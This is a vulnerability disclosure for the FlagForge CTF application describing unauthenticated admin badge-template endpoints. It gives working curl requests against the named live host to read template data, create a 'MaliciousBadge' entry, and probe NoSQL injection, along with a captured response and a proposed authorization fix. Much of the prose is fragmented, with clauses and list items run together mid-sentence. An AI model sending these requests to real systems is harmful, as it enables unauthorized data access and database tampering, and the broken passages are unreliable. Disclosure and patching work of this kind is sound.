
CVE on FlagForgeCTF on versions v2.0.0 to v2.3.1. Upgraded to version 2.3.2 to fix the issue.
The Flagforge application (https://flagforge.xyz) exposes critical vulnerabilities in its administrative API endpoints, specifically /api/admin/badge-templates (GET) and /api/admin/badge-templates/create (POST). Both endpoints lack authentication and authorization controls, allowing unauthenticated users to retrieve sensitive badge template data and create arbitrary templates in the MongoDB database. This could lead to unauthorized data exposure, database pollution, or abuse of the badge system (e.g., creating malicious or spam templates).
/api/admin/badge-templates:
badgeTemplates collection._id, name, description, icon, color, isActive, createdBy, createdAt, updatedAt, and __v. x0w1z ~ curl -i https://flagforge.xyz/api/admin/badge-templates
HTTP/2 200
access-control-allow-origin: https://flagforge.xyz
age: 0
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
content-type: application/json
date: Sat, 27 Sep 2025 11:17:35 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/admin/badge-templates
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::kbnlf-1758971855497-e981648f08c6
x-xss-protection: 1; mode=block
{"success":true,"templates":[{"_id":"68d18c6b3ddde4c2825273a1","name":"Staff","description":"Awarded for behind-the-scenes work that powers the community forward.","icon":"/badges/images/badge-1758563431839-63u7vxws5u.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:50:35.138Z","updatedAt":"2025-09-22T17:50:35.138Z","__v":0},{"_id":"68d18c073ddde4c282527398","name":"Bug Hunter","description":"Awarded for sharp eyes and a hacker’s mindset in finding weaknesses.","icon":"/badges/images/badge-1758563324750-h7zfukwxw7.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:48:55.675Z","updatedAt":"2025-09-22T17:48:55.675Z","__v":0},{"_id":"68ccfd395b3791025b51c200","name":"Security Researcher","description":"Earned by pushing boundaries and digging deeper into security.","icon":"/badges/custom/badge-1758264629375-0y4fdhdxjy5.png","color":"#8B5CF6","isActive":true,"createdBy":"[email protected]","createdAt":"2025-09-19T06:50:33.108Z","updatedAt":"2025-09-19T06:50:33.108Z","__v":0}],"count":3}%
/api/admin/badge-templates/create:
name, description, icon, color, isActive, and createdBy.name, description, and icon, and ensures no duplicate name exists.const templateDoc = {
name: name.trim(),
description: description.trim(),
icon: icon.trim(),
color: color || '#8B5CF6',
isActive: isActive !== undefined ? isActive : true,
createdAt: new Date(),
createdBy: createdBy || 'unknown'
};
const result = await db.collection('badgeTemplates').insertOne(templateDoc);
Lagzen Thakuri, [email protected]) and metadata, enabling reconnaissance or phishing.?name[$ne]=test).name and createdBy, which could be abused for log spam or injection.AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
https://flagforge.xyz)/api/admin/badge-templates (GET) and /api/admin/badge-templates/create (POST).badgeTemplates collection.server: Vercel header).NextRequest/NextResponse syntax).@/utlis/db connect utility), Next.js.createdBy) and metadata (createdAt, updatedAt), which could be used for social engineering or targeted attacks.Retrieve Sensitive Data (GET):
curl https://flagforge.xyz/api/admin/badge-templates
createdBy (e.g., [email protected]).Create Unauthorized Template (POST) and Remove the Templates (DELETE):
curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
-H "Content-Type: application/json" \
-d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
badgeTemplates collection.Potential NoSQL Injection (GET, if query parameters are supported):
curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
// Example middleware for POST endpoint
export async function POST(request: NextRequest) {
const authHeader = request.headers.get('authorization');
if (!authHeader || !verifyToken(authHeader)) { // Implement verifyToken
return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
}
// ... existing code ...
}
createdBy).